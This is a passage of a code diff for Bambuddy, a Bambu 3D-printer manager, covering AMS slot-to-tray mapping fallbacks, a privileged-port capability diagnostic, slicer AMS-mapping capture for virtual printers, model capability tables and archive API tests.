+    """Recover a slot-to-tray mapping at completion when print start captured none.
+
+    ``store_print_data`` can only learn the mapping from two sources: the
+    ``ams_mapping`` Bambuddy intercepts on the printer's local request topic, and
+    a queue item's stored mapping. Neither exists for a print dispatched from
+    Bambu Studio while the printer is cloud-bound — the command travels through
+    Bambu's broker and never appears on the local topic we subscribe to. With
+    ``slot_to_tray`` left NULL, ``_resolve_global_tray_id`` guesses by position:
+    slicer slot 1 to the first loaded tray, slot 2 to the second, and so on. An
+    AMS that isn't loaded in slicer order then charges every slot to the wrong
+    spool, and the archive's filament is rewritten to match, so the print
+    silently changes colour when it finishes (#2768).
+
+    The printer knows the real answer. Its ``mapping`` field carries the actual
+    slot-to-tray assignment for the running job, and for the models that never
+    publish it (A1, P1S, P2S) the 3MF's per-slot colours can be matched against
+    the loaded trays instead. The built-in inventory writer has consulted both
+    for as long as it has resolved mappings at completion; this gives the
+    Spoolman writer the same two fallbacks at the same moment.
+
+    Deliberately at completion rather than inside ``store_print_data``: the
+    printer keeps publishing ``mapping`` long after a job ends — it is still in
+    the status payload while the printer sits idle — so reading it at print start
+    risks stamping the *previous* job's mapping onto this one before the printer
+    has pushed the update. At completion the field unambiguously describes the
+    job that just ran.
+
+    Args:
+        printer_id: Printer whose live state is consulted.
+        filament_usage: The 3MF's per-slot estimates, needed by the colour
+            match. Only the ``slot_id``/``color`` keys are read.
+
+    Returns:
+        ``(mapping, source)``, or ``(None, "none")`` when neither fallback
+        produced anything and the positional default stands.
+    """
+    from backend.app.services.printer_manager import printer_manager
+    from backend.app.services.usage_tracker import _decode_mqtt_mapping, _match_slots_by_color
+
+    state = printer_manager.get_status(printer_id)
+    raw_data = getattr(state, "raw_data", None) if state else None
+    if not raw_data:
+        return None, "none"
+
+    decoded = _decode_mqtt_mapping(raw_data.get("mapping"))
+    if decoded:
+        return decoded, "mqtt"
+
+    matched = _match_slots_by_color(filament_usage, raw_data.get("ams"))
+    if matched:
+        return matched, "color_match"
+
+    return None, "none"
+
+
 def build_ams_tray_lookup(raw_data: dict) -> dict[int, dict]:
     """Build lookup of global_tray_id -> tray info from printer state.
 
@@ -327,9 +383,11 @@ async def store_print_data(
     # Prefer the explicit mapping captured from the print command, then fall back
     # to any queue mapping stored for scheduled/reprint jobs.
     slot_to_tray = ams_mapping if ams_mapping is not None else None
+    mapping_source = "print_cmd" if slot_to_tray else None
     if not slot_to_tray and queue_item and queue_item.ams_mapping:
         try:
             slot_to_tray = json.loads(queue_item.ams_mapping)
+            mapping_source = "queue"
         except json.JSONDecodeError:
             pass  # Ignore malformed AMS mapping; fall back to default slot assignment
 
@@ -364,8 +422,15 @@ async def store_print_data(
     )
     logger.debug("[SPOOLMAN] Filament usage: %s", filament_usage)
     logger.debug("[SPOOLMAN] AMS trays: %s", list(ams_trays.keys()))
-    if slot_to_tray:
-        logger.debug("[SPOOLMAN] Custom slot mapping: %s", slot_to_tray)
+    # Logged at info even when there is no mapping: "source: none" here is the
+    # signal that completion will have to fall back, which is the single most
+    # useful line in the log when a print is charged to the wrong spool (#2768).
+    logger.info(
+        "[SPOOLMAN] Print start: archive %s slot_to_tray=%s (source: %s)",
+        archive_id,
+        slot_to_tray,
+        mapping_source or "none",
+    )
     if layer_usage_json:
         logger.debug("[SPOOLMAN] Layer usage data available for partial tracking")
 
@@ -819,6 +884,19 @@ async def _report_partial_usage(
         )
         return
 
+    # Same recovery the completion path does, for the same reason: a print
+    # dispatched from Studio over the cloud left print start with no mapping to
+    # store, and both paths below feed ``slot_to_tray`` to
+    # ``_resolve_global_tray_id`` (#2768). An aborted print charges the wrong
+    # spool just as readily as a finished one.
+    if not slot_to_tray:
+        slot_to_tray, _partial_mapping_source = _resolve_slot_to_tray_fallback(printer_id, filament_usage)
+        logger.info(
+            "[SPOOLMAN] Partial usage: slot_to_tray=%s (source: %s)",
+            slot_to_tray,
+            _partial_mapping_source,
+        )
+
     # Try to use accurate G-code parsed data
     if layer_usage:
         layer_usage_int = {
@@ -1000,6 +1078,20 @@ async def report_usage(printer_id: int, archive_id: int):
         # is the print's last valid layer.
         _layer_denom_hint = _total_layers or _current_layer
 
+        # Recover the mapping when print start had nothing to store — the
+        # cloud-dispatched Studio print of #2768. Only the 3MF path consumes
+        # ``slot_to_tray``; the remain-delta path below resolves spools from the
+        # AMS slot directly, so there is nothing to recover for it.
+        mapping_source = "stored" if slot_to_tray else "none"
+        if filament_usage and not slot_to_tray:
+            slot_to_tray, mapping_source = _resolve_slot_to_tray_fallback(printer_id, filament_usage)
+        logger.info(
+            "[SPOOLMAN] Archive %s: slot_to_tray=%s (source: %s)",
+            archive_id,
+            slot_to_tray,
+            mapping_source,
+        )
+
         slot_colors: dict[int, str] = {}
         slot_materials: dict[int, str] = {}
         handled_global_tray_ids: set[int] = set()

+ 68 - 0
backend/app/services/virtual_printer/diagnostic.py

@@ -15,6 +15,7 @@ id + status.
 
 import asyncio
 import logging
+import os
 
 from backend.app.models.virtual_printer import VirtualPrinter
 from backend.app.schemas.printer import DiagnosticCheck
@@ -30,6 +31,41 @@ PORT_BIND_PLAIN = 3000  # bind/detect (plain) — legacy / some slicer models
 
 _PORT_PROBE_TIMEOUT = 2.0
 
+# Linux capability number for CAP_NET_BIND_SERVICE (linux/capability.h).
+_CAP_NET_BIND_SERVICE = 10
+
+
+def can_bind_privileged_ports() -> bool | None:
+    """Whether this process is allowed to bind ports below 1024.
+
+    Returns ``None`` when that cannot be determined — no procfs to read and not
+    running as root, i.e. macOS or Windows, where this capability model does not
+    apply and the caller should skip the check rather than guess.
+
+    Reading the effective set covers both ways the permission is granted,
+    because both are visible at runtime: ``AmbientCapabilities`` in the systemd
+    unit (or ``cap_add: [NET_BIND_SERVICE]`` in Docker), and
+    ``setcap cap_net_bind_service=+ep`` on the interpreter binary.
+
+    Note this answers "does the process hold the capability", not "can port 990
+    be bound" — a host with ``net.ipv4.ip_unprivileged_port_start`` lowered can
+    bind it without holding anything. Callers must treat a False here as a
+    *possible* explanation for a port that failed to open, never as proof on its
+    own; the caller in this module only reports it when a probe actually failed.
+    """
+    geteuid = getattr(os, "geteuid", None)
+    if geteuid is not None and geteuid() == 0:
+        return True
+    try:
+        with open("/proc/self/status", encoding="utf-8") as fh:
+            for line in fh:
+                if line.startswith("CapEff:"):
+                    caps = int(line.split(":", 1)[1].strip(), 16)
+                    return bool((caps >> _CAP_NET_BIND_SERVICE) & 1)
+    except (OSError, ValueError):
+        return None
+    return None
+
 
 async def _check_port(ip: str, port: int, timeout: float = _PORT_PROBE_TIMEOUT) -> bool:
     """Test TCP connectivity to ip:port. Returns True if something is listening."""
@@ -108,6 +144,7 @@ async def run_vp_diagnostic(vp: VirtualPrinter, instance) -> VPDiagnosticResult:
     # bound (port already in use, permission denied) because start errors are
     # logged and swallowed. Probe the bind IP directly.
     bind_ip = vp.bind_ip
+    ftp_ok: bool | None = None
     if not running or not bind_ip:
         for cid, port in (("port_ftps", PORT_FTPS), ("port_mqtt", PORT_MQTT), ("port_bind", PORT_BIND)):
             checks.append(DiagnosticCheck(id=cid, status="skip", params={"port": port}))
@@ -156,6 +193,37 @@ async def run_vp_diagnostic(vp: VirtualPrinter, instance) -> VPDiagnosticResult:
             )
         )
 
+    # --- Privileged port binding ---
+    # 990 (FTPS) and 322 (RTSP) are below 1024, so a service running as a normal
+    # user cannot bind them without CAP_NET_BIND_SERVICE. When it is missing the
+    # sockets never open, and every symptom above is a downstream effect: the
+    # slicer simply never sees the printer. The EACCES is logged by TCPProxy but
+    # that is one line in the journal, and the port checks alone report the same
+    # "nothing is listening" as an ordinary port conflict — which is what sent
+    # the reporter in #2549 to Discord for several days over one missing line in
+    # a unit file.
+    #
+    # Reported only when a privileged port actually failed to answer. The
+    # capability can legitimately be absent on a host that fronts these ports
+    # some other way (an iptables REDIRECT is the documented alternative), and
+    # flagging a working setup would be noise.
+    if not running or ftp_ok is None:
+        checks.append(DiagnosticCheck(id="privileged_ports", status="skip"))
+    else:
+        has_cap = can_bind_privileged_ports()
+        if has_cap is None:
+            # No procfs to read and not obviously root — typically macOS or
+            # Windows, where this whole capability model does not apply.
+            checks.append(DiagnosticCheck(id="privileged_ports", status="skip"))
+        else:
+            checks.append(
+                DiagnosticCheck(
+                    id="privileged_ports",
+                    status="pass" if (has_cap or ftp_ok) else "fail",
+                    params={"port": PORT_FTPS},
+                )
+            )
+
     # --- TLS certificate ---
     # When running, the cert chain must exist on disk for the slicer's TLS
     # handshake to succeed. This is a pass/fail on the file; the localized

+ 205 - 7
backend/app/services/virtual_printer/manager.py

@@ -5,6 +5,7 @@ bound to its dedicated IP address, regardless of mode.
 """
 
 import asyncio
+import json
 import logging
 import time
 from collections.abc import Callable
@@ -154,6 +155,60 @@ def _tristate_from_slicer(data: dict, bool_field: str, int_field: str) -> str |
     return None
 
 
+def _extract_slicer_ams_mapping_json(data: dict, log_prefix: str) -> str | None:
+    """Pull the slicer's own AMS-slot pick out of a captured project_file payload.
+
+    BambuStudio/OrcaSlicer resolves the physical AMS tray for each filament
+    live, right before sending — either automatically or via the slicer's
+    manual per-filament AMS-slot assignment dialog — and embeds the result as
+    ``ams_mapping`` (``list[int]``, position = slot_id-1, value = global tray
+    ID) directly in the MQTT ``project_file`` command. Confirmed by wire
+    capture: the field is present and already in the exact shape
+    ``PrintQueueItem.ams_mapping`` expects.
+
+    The VP-queue path previously never read this — every queued print had the
+    scheduler re-derive a mapping from just the 3MF's static type/color at
+    dispatch time (`PrintScheduler._compute_ams_mapping_for_printer`), discarding
+    the slicer's already-correct, live-resolved pick. That re-derivation can
+    land on the wrong physical spool whenever the file's type+color match
+    isn't unique (e.g. two spools of the same color) or the file's own
+    filament-slot color wasn't what the user actually intended for that
+    particular print. Capturing it here — mirroring the existing
+    ``nozzle_mapping`` passthrough for H2C rack-swap models (#1780) — lets the
+    scheduler's "already resolved, don't touch it" branch in
+    ``_ensure_ams_mapping`` use the slicer's own choice unchanged.
+
+    That branch skipping ``_compute_ams_mapping_for_printer`` is also what
+    makes this a trade rather than a pure win: ``prefer_lowest_filament``, its
+    AMS-filament-backup gate (#1766), the inventory-remain overrides and the
+    per-slot force-color overrides all live inside that function. Callers are
+    responsible for the gating — this parser only says what the slicer sent.
+
+    Returns ``None`` when the field is absent, unparsable, or the classic
+    "all -1" unresolved-race sentinel (#2589) — never worth trusting over a
+    fresh live computation.
+    """
+    raw = data.get("ams_mapping")
+    if raw is None:
+        return None
+    if isinstance(raw, str):
+        try:
+            raw = json.loads(raw)
+        except json.JSONDecodeError:
+            logger.warning("%s Slicer ams_mapping is unparseable JSON, dropping: %r", log_prefix, raw)
+            return None
+    # bool is a subclass of int in Python — isinstance(True, int) is True —
+    # so it must be excluded explicitly, or [True, False] would pass as a
+    # valid mapping.
+    if not isinstance(raw, list) or not raw or not all(isinstance(v, int) and not isinstance(v, bool) for v in raw):
+        return None
+    if all(v < 0 for v in raw):
+        # #2589 sentinel — every slot unresolved. Let the scheduler compute a
+        # fresh mapping from live AMS state instead of trusting this.
+        return None
+    return json.dumps(raw)
+
+
 def _get_serial_for_model(model: str, serial_suffix: str) -> str:
     """Get serial number for the given model and suffix."""
     prefix = MODEL_SERIAL_PREFIXES.get(model, "00M09A")
@@ -181,6 +236,7 @@ class VirtualPrinterInstance:
         target_printer_id: int | None = None,
         auto_dispatch: bool = True,
         queue_force_color_match: bool = False,
+        save_ams_mapping: bool = False,
         gcode_injection: bool = False,
         bind_ip: str = "",
         remote_interface_ip: str = "",
@@ -204,6 +260,7 @@ class VirtualPrinterInstance:
         self.target_printer_id = target_printer_id
         self.auto_dispatch = auto_dispatch
         self.queue_force_color_match = queue_force_color_match
+        self.save_ams_mapping = save_ams_mapping
         self.gcode_injection = gcode_injection
         self.bind_ip = bind_ip
         self.remote_interface_ip = remote_interface_ip
@@ -416,8 +473,9 @@ class VirtualPrinterInstance:
         row was already written with settings defaults. This method runs
         on the late MQTT path: it looks up the most recent queue items
         committed for this filename and patches in the slicer's
-        ``nozzle_mapping`` + workflow flags, but only while the items are
-        still ``pending`` (scheduler hasn't dispatched them yet).
+        ``nozzle_mapping`` + ``ams_mapping`` + workflow flags, but only
+        while the items are still ``pending`` (scheduler hasn't dispatched
+        them yet).
         """
         if not self._session_factory:
             return
@@ -469,12 +527,34 @@ class VirtualPrinterInstance:
             if raw is not None:
                 patch["nozzle_mapping"] = json.dumps(raw)
 
-        if not patch:
+        # Same two gates as the immediate path in `_add_to_print_queue`: a
+        # model-based VP has no live AMS layout for the slicer to have resolved
+        # tray IDs against, and taking the slicer's pick at all is the per-VP
+        # `save_ams_mapping` opt-in (it makes the scheduler skip
+        # `_compute_ams_mapping_for_printer`, and with it prefer-lowest and the
+        # #1766 backup gate).
+        ams_mapping_json = (
+            _extract_slicer_ams_mapping_json(data, f"[VP {self.name}] Late MQTT")
+            if self.target_printer_id is not None and self.save_ams_mapping
+            else None
+        )
+        # `Force color match` still wins for this dispatch — see the same
+        # decision in `_add_to_print_queue`. The archive patch below is
+        # deliberately not gated on it: persisting the pick for later reprints
+        # is exactly what the toggle promises.
+        if ams_mapping_json is not None and not self.queue_force_color_match:
+            patch["ams_mapping"] = ams_mapping_json
+
+        # `ams_mapping_json` alone is enough to keep going even when `patch` is
+        # empty: with `Force color match` on it never reaches the queue item,
+        # but it still has to be written onto the archive below.
+        if not patch and ams_mapping_json is None:
             self._recent_queue_items.pop(stash_key, None)
             return
 
         from sqlalchemy import select, update
 
+        from backend.app.models.archive import PrintArchive
         from backend.app.models.print_queue import PrintQueueItem
 
         try:
@@ -482,23 +562,49 @@ class VirtualPrinterInstance:
                 # Only stamp items still pending; once the scheduler has
                 # picked the row up we can't safely race the dispatcher.
                 result = await db.execute(
-                    select(PrintQueueItem.id).where(
+                    select(PrintQueueItem.id, PrintQueueItem.archive_id).where(
                         PrintQueueItem.id.in_(queue_item_ids),
                         PrintQueueItem.status == "pending",
                     )
                 )
-                eligible_ids = [row[0] for row in result.all()]
+                rows = result.all()
+                eligible_ids = [row[0] for row in rows]
                 if not eligible_ids:
                     self._recent_queue_items.pop(stash_key, None)
                     return
-                await db.execute(update(PrintQueueItem).where(PrintQueueItem.id.in_(eligible_ids)).values(**patch))
+                if patch:
+                    await db.execute(update(PrintQueueItem).where(PrintQueueItem.id.in_(eligible_ids)).values(**patch))
+
+                # The archive was already created (with no slicer_ams_mapping)
+                # before this late MQTT arrived — see
+                # `_extract_slicer_ams_mapping_json`'s docstring. Patch it here
+                # too so a reprint later still picks up the slicer's pick, and
+                # the "AMS mapping from slicer" badge reflects reality instead
+                # of staying stuck on the archive's initial (empty) snapshot.
+                # Already gated on `save_ams_mapping` above, and deliberately
+                # NOT on `queue_force_color_match`: that toggle decides how
+                # *this* print is matched, not whether the pick is worth
+                # keeping for a later reprint.
+                if ams_mapping_json is not None:
+                    archive_ids = {row[1] for row in rows if row[1] is not None}
+                    if archive_ids:
+                        archive_result = await db.execute(select(PrintArchive).where(PrintArchive.id.in_(archive_ids)))
+                        for archive in archive_result.scalars().all():
+                            extra = dict(archive.extra_data or {})
+                            extra["slicer_ams_mapping"] = {
+                                "mapping": json.loads(ams_mapping_json),
+                                "printer_id": self.target_printer_id,
+                            }
+                            archive.extra_data = extra
+
                 await db.commit()
                 logger.info(
-                    "[VP %s] Late slicer MQTT for %s — retroactively stamped %s onto queue item(s) %s",
+                    "[VP %s] Late slicer MQTT for %s — retroactively stamped %s onto queue item(s) %s%s",
                     self.name,
                     stash_key,
                     sorted(patch.keys()),
                     eligible_ids,
+                    " and saved the slicer's AMS pick onto the archive" if ams_mapping_json is not None else "",
                 )
         except Exception as e:
             logger.error(
@@ -834,6 +940,60 @@ class VirtualPrinterInstance:
                         if raw is not None:
                             nozzle_mapping_json = json.dumps(raw)
 
+                # Slicer's own live-resolved AMS-slot pick (see docstring on
+                # `_extract_slicer_ams_mapping_json`). Stamped onto every plate
+                # below, same treatment as nozzle_mapping_json above — when
+                # present it makes `_ensure_ams_mapping` skip its own
+                # type/color re-derivation entirely and dispatch use exactly
+                # the tray the slicer/user picked.
+                #
+                # Two gates, both required:
+                #
+                # 1. This VP must target one fixed printer. A model-based
+                #    ("Any <model>") VP has no MQTT bridge to a real printer,
+                #    so the slicer has no live AMS layout to resolve tray IDs
+                #    against — whatever it sends here is meaningless (or,
+                #    worse, coincidentally valid for the wrong printer once
+                #    the scheduler later picks one).
+                # 2. The per-VP `save_ams_mapping` opt-in must be on. Taking
+                #    the slicer's pick means `_ensure_ams_mapping` returns
+                #    early and `_compute_ams_mapping_for_printer` never runs —
+                #    and that function is where `prefer_lowest_filament`, its
+                #    AMS-filament-backup gate (#1766) and the inventory-remain
+                #    overrides live. Honouring the slicer unconditionally would
+                #    silently retire all of that for every existing queue-mode
+                #    VP on upgrade, so it's opt-in like every other queue-mode
+                #    behaviour toggle (#2700 review).
+                #
+                # Either gate failing leaves it unset, and the scheduler's
+                # normal type/color re-derivation runs against whichever
+                # printer actually gets the job.
+                ams_mapping_json: str | None = None
+                if slicer_opts is not None and self.target_printer_id is not None and self.save_ams_mapping:
+                    ams_mapping_json = _extract_slicer_ams_mapping_json(slicer_opts, f"[VP {self.name}]")
+
+                # `Force color match` is the user asking Bambuddy to do the
+                # matching strictly, against the printer's live trays. Its only
+                # effect on a fixed-printer item is via the per-slot
+                # `filament_overrides` written below, which are consumed inside
+                # `_compute_ams_mapping_for_printer` — the exact function a
+                # stored mapping skips. So when both toggles are on, the
+                # explicit strictness wins for *this* dispatch and the slicer's
+                # pick is still persisted onto the archive for later reprints,
+                # which is what `Save AMS mapping` actually promises (#2700
+                # review).
+                queue_ams_mapping_json = ams_mapping_json
+                if queue_ams_mapping_json is not None and self.queue_force_color_match:
+                    logger.info(
+                        "[VP %s] Saved the slicer's AMS pick to the archive but not onto the queue item(s): "
+                        "'Force color match' is on, so the scheduler matches against live trays for this print.",
+                        self.name,
+                    )
+                    queue_ams_mapping_json = None
+
+                # Parsed once for the per-plate length check in the loop below.
+                queue_ams_mapping = json.loads(queue_ams_mapping_json) if queue_ams_mapping_json else None
+
                 service = ArchiveService(db)
                 archive = await service.archive_print(
                     printer_id=None,
@@ -844,6 +1004,14 @@ class VirtualPrinterInstance:
                         "source_ip": source_ip,
                     },
                     prefer_filename_for_name=prefer_filename,
+                    # Slicer's own live AMS-slot pick -- promoted to
+                    # `extra_data.slicer_ams_mapping` by archive_print() so a
+                    # later reprint can reuse it. Already gated on the per-VP
+                    # `save_ams_mapping` opt-in above. Tagged with the printer
+                    # it was resolved against so a later reprint on a
+                    # *different* printer knows not to reuse it (#2700 review).
+                    slicer_ams_mapping=(json.loads(ams_mapping_json) if ams_mapping_json else None),
+                    slicer_ams_mapping_printer_id=self.target_printer_id,
                 )
                 if archive:
                     logger.info("[VP %s] Archived: %s - %s", self.name, archive.id, archive.print_name)
@@ -925,6 +1093,31 @@ class VirtualPrinterInstance:
                                 if overrides:
                                     filament_overrides_json = json.dumps(overrides)
 
+                        # The slicer's mapping is indexed by the 3MF's own
+                        # file-global slot ids (position = slot_id - 1), so one
+                        # array covers every plate of a multi-plate Send All —
+                        # each plate just reads the entries for the slots it
+                        # actually prints. What must be checked is that it
+                        # reaches that far: a mapping shorter than this plate's
+                        # highest slot id can't address the plate's own slots,
+                        # and `_ensure_ams_mapping` would keep it anyway
+                        # because it only rejects an all-unresolved mapping. Fall
+                        # back to a computed mapping for that plate instead
+                        # (#2700 review).
+                        plate_ams_mapping_json = queue_ams_mapping_json
+                        if queue_ams_mapping is not None and requirements:
+                            max_slot_id = max((r.get("slot_id") or 0) for r in requirements)
+                            if max_slot_id > len(queue_ams_mapping):
+                                logger.warning(
+                                    "[VP %s] Slicer ams_mapping has %d entries but plate %s needs slot %d; "
+                                    "dropping it for this plate so the scheduler computes one from live AMS state.",
+                                    self.name,
+                                    len(queue_ams_mapping),
+                                    plate_id,
+                                    max_slot_id,
+                                )
+                                plate_ams_mapping_json = None
+
                         queue_item = PrintQueueItem(
                             printer_id=self.target_printer_id,
                             target_model=target_model,
@@ -950,6 +1143,9 @@ class VirtualPrinterInstance:
                             # the same nozzle pick across plates rather than only the
                             # first one (mirrors the #1697 / #1188 per-plate loop fix).
                             nozzle_mapping=nozzle_mapping_json,
+                            # Slicer's own live AMS-slot pick, when present —
+                            # see `_extract_slicer_ams_mapping_json`.
+                            ams_mapping=plate_ams_mapping_json,
                         )
                         db.add(queue_item)
                         await db.flush()  # populate queue_item.id before logging
@@ -1547,6 +1743,7 @@ class VirtualPrinterManager:
                 # instance silently keeps the old value until process
                 # restart (#1552 follow-up family).
                 or instance.queue_force_color_match != vp.queue_force_color_match
+                or instance.save_ams_mapping != vp.save_ams_mapping
                 or instance.gcode_injection != vp.gcode_injection
                 or proxy_target_changed
             )
@@ -1601,6 +1798,7 @@ class VirtualPrinterManager:
                     target_printer_id=vp.target_printer_id,
                     auto_dispatch=vp.auto_dispatch,
                     queue_force_color_match=vp.queue_force_color_match,
+                    save_ams_mapping=vp.save_ams_mapping,
                     gcode_injection=vp.gcode_injection,
                     bind_ip=vp.bind_ip or "",
                     remote_interface_ip=vp.remote_interface_ip or "",

+ 59 - 0
backend/app/utils/printer_models.py

@@ -116,6 +116,28 @@ LINEAR_RAIL_MODELS = frozenset(
 )
 
 
+# Models sold with a single nozzle flow variant, so a Standard / High Flow
+# choice on a K-profile is meaningless there. Derived from the slicer's own
+# rule (len(nozzle_volume) // len(nozzle_diameter) > 1 over the bundled Bambu
+# machine presets), not from nozzle count — P1P/P1S/P2S/X1/X1C/X1E/H2S are
+# single-nozzle and all carry two variants. Only the A-series has one.
+SINGLE_NOZZLE_FLOW_MODELS = frozenset(
+    [
+        # Display names (uppercase, no spaces)
+        "A1",
+        "A1MINI",
+        "A2L",
+        # Internal codes
+        "N1",  # A1 Mini
+        "N2S",  # A1
+        "N9",  # A2L
+        "A04",  # A1 Mini (alternate)
+        "A11",  # A1
+        "A12",  # A1 Mini
+    ]
+)
+
+
 # Models without any external storage (MicroSD / SD card slot).
 # The A1 and A1 Mini ship with internal storage only — there is no
 # firmware-side "Store sent files on external storage" toggle and no
@@ -242,6 +264,16 @@ def uses_exhaust_fan_label(model: str | None) -> bool:
     return normalized in EXHAUST_FAN_LABEL_MODELS
 
 
+# Ceiling for every chamber-temperature target the UI and API accept (manual
+# M141, the preheat filament map, the per-item preheat override, the chamber
+# quick-select presets). The H2 series (H2C / H2D / H2D Pro / H2S) and X2D
+# heat the chamber to 65 °C; X1E tops out at 60. We validate against the
+# highest of those and let the firmware clamp on the lower-ceiling models —
+# the preheat filament map is global rather than per printer, so a per-model
+# maximum could not be expressed there anyway.
+MAX_CHAMBER_TEMP_C = 65
+
+
 def has_ethernet(model: str | None) -> bool:
     """Return True if the printer model has an ethernet port."""
     if not model:
@@ -290,6 +322,33 @@ def is_dual_nozzle_model(model: str | None) -> bool:
     return normalized in DUAL_NOZZLE_MODELS
 
 
+def supports_nozzle_flow_type(model: str | None) -> bool:
+    """Return True if the model offers a Standard / High Flow nozzle choice.
+
+    A K-profile is filed under a ``nozzle_id`` of the form ``HS00-0.4``
+    (Standard) or ``HH00-0.4`` (High Flow), so the flow type is part of the
+    profile's identity on any printer where both exist — and meaningless noise
+    on one where only a single variant is sold.
+
+    The split is NOT the nozzle count: P1S, P2S, X1C and H2S are single-nozzle
+    and all offer both flows. BambuStudio/OrcaSlicer derive the same capability
+    from the machine preset — ``support_nozzle_volume()`` is
+    ``len(nozzle_volume) // len(nozzle_diameter) > 1`` — and every bundled
+    Bambu profile evaluated against that formula puts only the A-series on the
+    "one variant" side (A1 and A1 Mini at 1, A2L at 1; everything from P1P
+    upward at 2 or more per extruder).
+
+    Defaults to True for unknown models: offering the choice on a printer that
+    turns out to have one flow type costs the user a redundant dropdown, while
+    hiding it on one that has two makes half its calibration table
+    unreachable.
+    """
+    if not model:
+        return True
+    normalized = model.strip().upper().replace(" ", "").replace("-", "")
+    return normalized not in SINGLE_NOZZLE_FLOW_MODELS
+
+
 def get_rod_type(model: str | None) -> str | None:
     """Return the rod/rail type for a printer model.
 

+ 242 - 0
backend/tests/integration/test_archives_api.py

@@ -4,6 +4,7 @@ Tests the full request/response cycle for /api/v1/archives/ endpoints.
 """
 
 from pathlib import Path
+from unittest.mock import AsyncMock, patch
 
 import pytest
 from httpx import AsyncClient
@@ -12,6 +13,122 @@ from httpx import AsyncClient
 class TestArchivesAPI:
     """Integration tests for /api/v1/archives/ endpoints."""
 
+    # ========================================================================
+    # Upload endpoint
+    # ========================================================================
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    @pytest.mark.parametrize("prefer_filename_for_name", [True, False])
+    async def test_upload_archive_forwards_prefer_filename_for_name(
+        self, async_client: AsyncClient, archive_factory, printer_factory, prefer_filename_for_name
+    ):
+        """POST /archives/upload must forward prefer_filename_for_name to
+        ArchiveService.archive_print unchanged — this flag lets a caller (e.g.
+        the manual upload UI or an external integration) ask for the uploaded
+        filename to win over the 3MF's embedded print_name (#1152 follow-up:
+        the flag existed on the service but wasn't exposed on this route).
+
+        archive_print is mocked (real 3MF metadata extraction isn't under test
+        here) but its return value is a real PrintArchive row from the
+        factory, so ArchiveResponse.model_validate in the route still exercises
+        real serialization instead of masking a broken response behind a bare
+        MagicMock.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = {"file": ("My Print (final).gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")}
+        params = {"prefer_filename_for_name": prefer_filename_for_name}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload", files=files, params=params)
+
+        assert response.status_code == 200
+        assert archive_print_mock.await_count == 1
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is prefer_filename_for_name
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_upload_archive_defaults_prefer_filename_for_name_false(
+        self, async_client: AsyncClient, archive_factory, printer_factory
+    ):
+        """Omitting the query param must not change existing behavior for
+        callers that predate this flag."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = {"file": ("existing-caller.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload", files=files)
+
+        assert response.status_code == 200
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is False
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    @pytest.mark.parametrize("prefer_filename_for_name", [True, False])
+    async def test_upload_archives_bulk_forwards_prefer_filename_for_name(
+        self, async_client: AsyncClient, archive_factory, printer_factory, prefer_filename_for_name
+    ):
+        """POST /archives/upload-bulk must forward prefer_filename_for_name to
+        ArchiveService.archive_print for every file in the batch, keeping this
+        route consistent with the single-file /archives/upload endpoint."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = [
+            ("files", ("first.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")),
+            ("files", ("second.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream")),
+        ]
+        params = {"prefer_filename_for_name": prefer_filename_for_name}
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload-bulk", files=files, params=params)
+
+        assert response.status_code == 200
+        assert archive_print_mock.await_count == 2
+        for call in archive_print_mock.await_args_list:
+            assert call.kwargs.get("prefer_filename_for_name") is prefer_filename_for_name
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_upload_archives_bulk_defaults_prefer_filename_for_name_false(
+        self, async_client: AsyncClient, archive_factory, printer_factory
+    ):
+        """Omitting the query param on the bulk route must not change existing
+        behavior for callers that predate this flag."""
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, print_name="Mocked Return Archive")
+        archive_print_mock = AsyncMock(return_value=archive)
+
+        files = [("files", ("existing-caller.gcode.3mf", b"PK\x03\x04fake3mf", "application/octet-stream"))]
+
+        with patch(
+            "backend.app.api.routes.archives.ArchiveService.archive_print",
+            archive_print_mock,
+        ):
+            response = await async_client.post("/api/v1/archives/upload-bulk", files=files)
+
+        assert response.status_code == 200
+        kwargs = archive_print_mock.await_args.kwargs
+        assert kwargs.get("prefer_filename_for_name") is False
+
     # ========================================================================
     # List endpoints
     # ========================================================================
@@ -1835,3 +1952,128 @@ class TestSoftDeletedArchivesAreExcluded:
 
         assert response.status_code == 200
         assert response.json()["failed_prints"] == 1
+
+
+class TestPrintLogSorting:
+    """#2636: the Print Log's column headers sort the whole log.
+
+    Sorting is server-side because paging is: ordering the rows the browser
+    happens to hold would answer "the most expensive print on this page",
+    not "the most expensive print". These pin the ordering contract the
+    headers depend on, including the two cases that differ per database
+    backend or per query plan if left implicit.
+    """
+
+    @staticmethod
+    async def _seed(db_session, printer_id: int, rows: list[dict]):
+        from datetime import datetime
+
+        from backend.app.models.print_log import PrintLogEntry
+
+        created = []
+        for i, row in enumerate(rows):
+            entry = PrintLogEntry(
+                printer_id=printer_id,
+                status=row.get("status", "completed"),
+                print_name=row.get("print_name", f"job-{i}"),
+                started_at=datetime(2026, 1, 1 + i, 12, 0, 0),
+                created_at=datetime(2026, 1, 1 + i, 12, 0, 0),
+                filament_used_grams=row.get("grams"),
